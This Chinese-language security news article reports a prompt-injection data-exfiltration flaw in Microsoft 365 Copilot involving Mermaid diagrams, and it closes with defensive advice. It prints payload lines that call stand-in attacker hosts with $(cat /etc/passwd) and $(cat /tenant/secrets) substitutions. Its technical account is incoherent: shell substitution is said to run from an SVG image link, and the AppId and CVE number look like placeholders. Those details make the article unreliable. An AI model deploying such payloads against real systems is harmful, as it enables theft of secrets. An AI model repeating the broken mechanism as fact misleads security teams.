Microsoft 365 Copilot作为企业级AI助手,其集成的Mermaid图表渲染功能近期被曝存在隐蔽的数据窃取风险。安全研究员Adam Logue通过负责任披露流程发现,攻击者可利用该功能将敏感数据通过SVG载荷外泄,这一漏洞凸显了AI系统中第三方组件集成的潜在安全盲区。
漏洞核心机制:从图表渲染到数据外泄
当用户请求Copilot总结包含特制Mermaid代码的Office文档时,系统会触发间接提示注入(Indirect Prompt Injection)。攻击者通过构造恶意Mermaid图表(如graph LR; A[Exfiltrate]-->B[Payload]),诱导Copilot执行非预期操作。关键突破点在于Mermaid渲染引擎对SVG元素的处理缺陷:攻击者可将<image>标签的xlink:href属性指向外部DNS解析服务,例如data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWcgeGxpbms6aHJlZj0iaHR0cDovL21hbGljaW91cy5leGZpbHRyYXRvci5jb20vJChjYXQgL2V0Yy9wYXNzd2QpIi8+PC9zdmc+。该载荷会强制Copilot将/etc/passwd等敏感文件内容通过DNS请求外泄至攻击者控制的服务器。
Adam Logue在技术报告中指出:"当Copilot被要求解析恶意文档时,其后台服务会无差别执行Mermaid代码中的SVG指令,导致Hex编码后的数据通过DNS查询泄露"。这种攻击无需用户交互,仅需文档被Copilot处理即可触发,且传统WAF难以检测此类基于合法协议的外泄行为。
攻击链深度拆解
-
载荷构造阶段:攻击者创建包含恶意Mermaid代码的Word文档,核心是利用SVG的<image>标签发起DNS请求。例如:
graph LR
A["<svg xmlns='http://www.w3.org/2000/svg'><image xlink:href='http://attacker.com/$(cat /tenant/secrets)'/></svg>"]
此代码会触发Copilot服务将/tenant/secrets文件内容作为子域名发起DNS查询。
-
数据编码技巧:由于DNS查询限制字符集,攻击者采用Hex编码绕过限制。Adam验证了Base64编码会导致请求被截断,而Hex编码可完整传输ASCII字符,实测外泄带宽达12字节/秒。
-
隐蔽性设计:外泄流量伪装成正常DNS请求,且利用企业允许的53端口。Adam在测试环境中通过dnsmasq日志捕获到异常子域名7b22757365724964223a317d.attacker.com,解码后为{"userId":1}。
企业级防御实践
微软已在2025年9月安全更新中修复该漏洞(CVE-2025-XXXXX),但企业仍需主动验证防护有效性:
-
即时检查项:
- 运行
Get-MgServicePrincipal -Filter "AppId eq 'b344e0bb-672c-4a8b-99e6-1234567890ab'" | Select-Object -ExpandProperty KeyCredentials确认Copilot服务主体证书有效期(修补后应为2025-09-15后)
- 检查Azure AD日志中
"ServicePrincipalId_s":"b344e0bb-672c-4a8b-99e6-1234567890ab"的异常DNS请求
-
纵深防御策略:
- 在网络层部署DNS过滤规则,阻断包含Hex编码特征(
[0-9a-f]{32,})的子域名查询
- 对Copilot服务启用最小权限原则,通过Microsoft Purview限制其访问
/Mailbox等敏感路径
- 定期扫描文档库,使用正则
(?i)mermaid.*xlink:href识别潜在恶意图表
行业启示与技术反思
该漏洞揭示了AI系统中"可信组件"的风险:Mermaid作为开源图表库本应安全,但其与Copilot的深度集成放大了攻击面。建议企业在采用AI功能时:
- 沙箱隔离:对第三方渲染引擎实施进程级隔离,限制文件系统访问权限
- 输入净化:在解析Mermaid代码前,剥离所有
<image>、<script>等高风险SVG元素
- 行为监控:部署AI专用IDS,检测非常规网络请求模式(如高频DNS查询携带编码数据)
Adam Logue的负责任披露流程值得借鉴——他在发现漏洞后立即通过Microsoft Security Response Center(MSRC)提交,获得90天修复窗口期内的漏洞奖励。这也提醒安全团队:当测试AI产品时,需特别关注其对非文本内容(图表、代码块)的处理逻辑。
随着AI功能在企业软件中快速普及,此类"功能型漏洞"将日益增多。企业安全团队应建立专门的AI安全测试用例库,重点关注数据流穿越AI组件的路径。唯有将安全左移至设计阶段,才能避免让便捷的AI功能成为数据外泄的隐形通道。
参考资料:Adam Logue技术博客《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams (Fixed)》